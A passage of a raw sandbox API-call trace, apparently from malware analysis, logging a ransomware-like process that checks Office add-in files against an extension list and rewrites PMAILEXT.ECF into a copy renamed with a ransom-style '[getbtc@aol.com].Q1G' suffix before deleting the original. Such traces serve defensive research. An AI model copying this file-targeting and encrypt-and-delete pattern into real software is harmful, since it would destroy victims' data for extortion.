lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString=".doc") returned 4 [0257.806] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.806] lstrlenW (lpString=".docx") returned 5 [0257.806] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0257.806] lstrlenW (lpString=".pdf") returned 4 [0257.806] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString=".xls") returned 4 [0257.806] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString=".xlsx") returned 5 [0257.806] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0257.806] lstrlenW (lpString=".ppt") returned 4 [0257.806] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString=".zip") returned 4 [0257.806] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString=".rar") returned 4 [0257.807] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.807] lstrlenW (lpString=".bz2") returned 4 [0257.807] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.807] lstrlenW (lpString=".7z") returned 3 [0257.807] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.807] lstrlenW (lpString=".dbf") returned 4 [0257.807] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.807] lstrlenW (lpString=".1cd") returned 4 [0257.807] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.807] lstrlenW (lpString=".jpg") returned 4 [0257.807] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.807] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.807] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0257.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.808] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=80760) returned 1 [0257.808] CloseHandle (hObject=0x3dc) returned 1 [0257.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll")) returned 0x20 [0257.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.809] lstrlenW (lpString=".doc") returned 4 [0257.809] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString=".docx") returned 5 [0257.809] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0257.809] lstrlenW (lpString=".pdf") returned 4 [0257.809] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString=".xls") returned 4 [0257.809] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString=".xlsx") returned 5 [0257.809] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0257.809] lstrlenW (lpString=".ppt") returned 4 [0257.809] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.809] lstrlenW (lpString=".zip") returned 4 [0257.809] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString=".rar") returned 4 [0257.809] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString=".bz2") returned 4 [0257.809] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.809] lstrlenW (lpString=".7z") returned 3 [0257.809] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.809] lstrlenW (lpString=".dbf") returned 4 [0257.809] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.809] lstrlenW (lpString=".1cd") returned 4 [0257.809] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.809] lstrlenW (lpString=".jpg") returned 4 [0257.809] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.810] lstrlenW (lpString=".doc") returned 4 [0257.810] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.810] lstrlenW (lpString=".docx") returned 5 [0257.810] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0257.810] lstrlenW (lpString=".pdf") returned 4 [0257.810] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.810] lstrlenW (lpString=".xls") returned 4 [0257.810] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.810] lstrlenW (lpString=".xlsx") returned 5 [0257.810] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0257.810] lstrlenW (lpString=".ppt") returned 4 [0257.810] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.810] lstrlenW (lpString=".zip") returned 4 [0257.810] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.810] lstrlenW (lpString=".rar") returned 4 [0257.810] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.810] lstrlenW (lpString=".bz2") returned 4 [0257.810] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.810] lstrlenW (lpString=".7z") returned 3 [0257.810] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.810] lstrlenW (lpString=".dbf") returned 4 [0257.810] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.810] lstrlenW (lpString=".1cd") returned 4 [0257.810] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0257.810] lstrlenW (lpString=".jpg") returned 4 [0257.810] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.810] lstrcmpiW (lpString1=".ECF", lpString2=".Q1G") returned -1 [0257.811] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0257.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.812] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=626) returned 1 [0257.812] CloseHandle (hObject=0x3dc) returned 1 [0257.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 0x20 [0257.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.812] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.812] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.813] GetLastError () returned 0x0 [0257.813] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x272, lpOverlapped=0x0) returned 1 [0257.819] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0257.819] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.820] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.820] SetEndOfFile (hFile=0x3e0) returned 1 [0257.820] CloseHandle (hObject=0x3e0) returned 1 [0257.820] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.820] SetEndOfFile (hFile=0x3dc) returned 1 [0257.822] CloseHandle (hObject=0x3dc) returned 1 [0257.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 1 [0257.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.823] lstrlenW (lpString=".doc") returned 4 [0257.823] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.823] lstrlenW (lpString=".docx") returned 5 [0257.823] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0257.823] lstrlenW (lpString=".pdf") returned 4 [0257.823] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.823] lstrlenW (lpString=".xls") returned 4 [0257.823] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.823] lstrlenW (lpString=".xlsx") returned 5 [0257.823] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0257.823] lstrlenW (lpString=".ppt") returned 4 [0257.823] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.823] lstrlenW (lpString=".zip") returned 4 [0257.823] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.823] lstrlenW (lpString=".rar") returned 4 [0257.823] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.823] lstrlenW (lpString=".bz2") returned 4 [0257.823] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.824] lstrlenW (lpString=".7z") returned 3 [0257.824] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString=".dbf") returned 4 [0257.824] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString=".1cd") returned 4 [0257.824] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString=".jpg") returned 4 [0257.824] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString=".doc") returned 4 [0257.824] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.824] lstrlenW (lpString=".docx") returned 5 [0257.824] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0257.824] lstrlenW (lpString=".pdf") returned 4 [0257.824] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.824] lstrlenW (lpString=".xls") returned 4 [0257.824] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.824] lstrlenW (lpString=".xlsx") returned 5 [0257.824] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0257.824] lstrlenW (lpString=".ppt") returned 4 [0257.824] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString=".zip") returned 4 [0257.824] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.824] lstrlenW (lpString=".rar") returned 4 [0257.824] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.824] lstrlenW (lpString=".bz2") returned 4 [0257.824] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.824] lstrlenW (lpString=".7z") returned 3 [0257.824] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.824] lstrlenW (lpString=".dbf") returned 4 [0257.825] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.825] lstrlenW (lpString=".1cd") returned 4 [0257.825] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0257.825] lstrlenW (lpString=".jpg") returned 4 [0257.825] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.825] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.825] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0257.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.827] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1549152) returned 1 [0257.827] CloseHandle (hObject=0x3dc) returned 1 [0257.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll")) returned 0x20 [0257.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.827] lstrlenW (lpString=".doc") returned 4 [0257.827] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.827] lstrlenW (lpString=".docx") returned 5 [0257.827] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0257.827] lstrlenW (lpString=".pdf") returned 4 [0257.827] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.827] lstrlenW (lpString=".xls") returned 4 [0257.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.827] lstrlenW (lpString=".xlsx") returned 5 [0257.827] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0257.827] lstrlenW (lpString=".ppt") returned 4 [0257.827] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.827] lstrlenW (lpString=".zip") returned 4 [0257.828] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString=".rar") returned 4 [0257.828] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString=".bz2") returned 4 [0257.828] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.828] lstrlenW (lpString=".7z") returned 3 [0257.828] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.828] lstrlenW (lpString=".dbf") returned 4 [0257.828] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.828] lstrlenW (lpString=".1cd") returned 4 [0257.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.828] lstrlenW (lpString=".jpg") returned 4 [0257.828] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.828] lstrlenW (lpString=".doc") returned 4 [0257.828] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString=".docx") returned 5 [0257.828] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0257.828] lstrlenW (lpString=".pdf") returned 4 [0257.828] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString=".xls") returned 4 [0257.828] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString=".xlsx") returned 5 [0257.828] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0257.828] lstrlenW (lpString=".ppt") returned 4 [0257.828] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.828] lstrlenW (lpString=".zip") returned 4 [0257.828] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.828] lstrlenW (lpString=".rar") returned 4 [0257.828] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.829] lstrlenW (lpString=".bz2") returned 4 [0257.829] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.829] lstrlenW (lpString=".7z") returned 3 [0257.829] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.829] lstrlenW (lpString=".dbf") returned 4 [0257.829] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.829] lstrlenW (lpString=".1cd") returned 4 [0257.829] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0257.829] lstrlenW (lpString=".jpg") returned 4 [0257.829] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.829] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.829] lstrlenW (lpString="AEC.DLL") returned 7 [0257.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.830] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1571704) returned 1 [0257.830] CloseHandle (hObject=0x3dc) returned 1 [0257.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll")) returned 0x20 [0257.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.831] lstrlenW (lpString=".doc") returned 4 [0257.831] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString=".docx") returned 5 [0257.831] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0257.831] lstrlenW (lpString=".pdf") returned 4 [0257.831] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString=".xls") returned 4 [0257.831] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString=".xlsx") returned 5 [0257.831] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0257.831] lstrlenW (lpString=".ppt") returned 4 [0257.831] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.831] lstrlenW (lpString=".zip") returned 4 [0257.831] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString=".rar") returned 4 [0257.831] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString=".bz2") returned 4 [0257.831] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.831] lstrlenW (lpString=".7z") returned 3 [0257.831] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.831] lstrlenW (lpString=".dbf") returned 4 [0257.831] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.831] lstrlenW (lpString=".1cd") returned 4 [0257.831] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.831] lstrlenW (lpString=".jpg") returned 4 [0257.831] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.832] lstrlenW (lpString=".doc") returned 4 [0257.832] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.832] lstrlenW (lpString=".docx") returned 5 [0257.832] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0257.832] lstrlenW (lpString=".pdf") returned 4 [0257.832] lstrcmpiW (lpString1=".pdf", 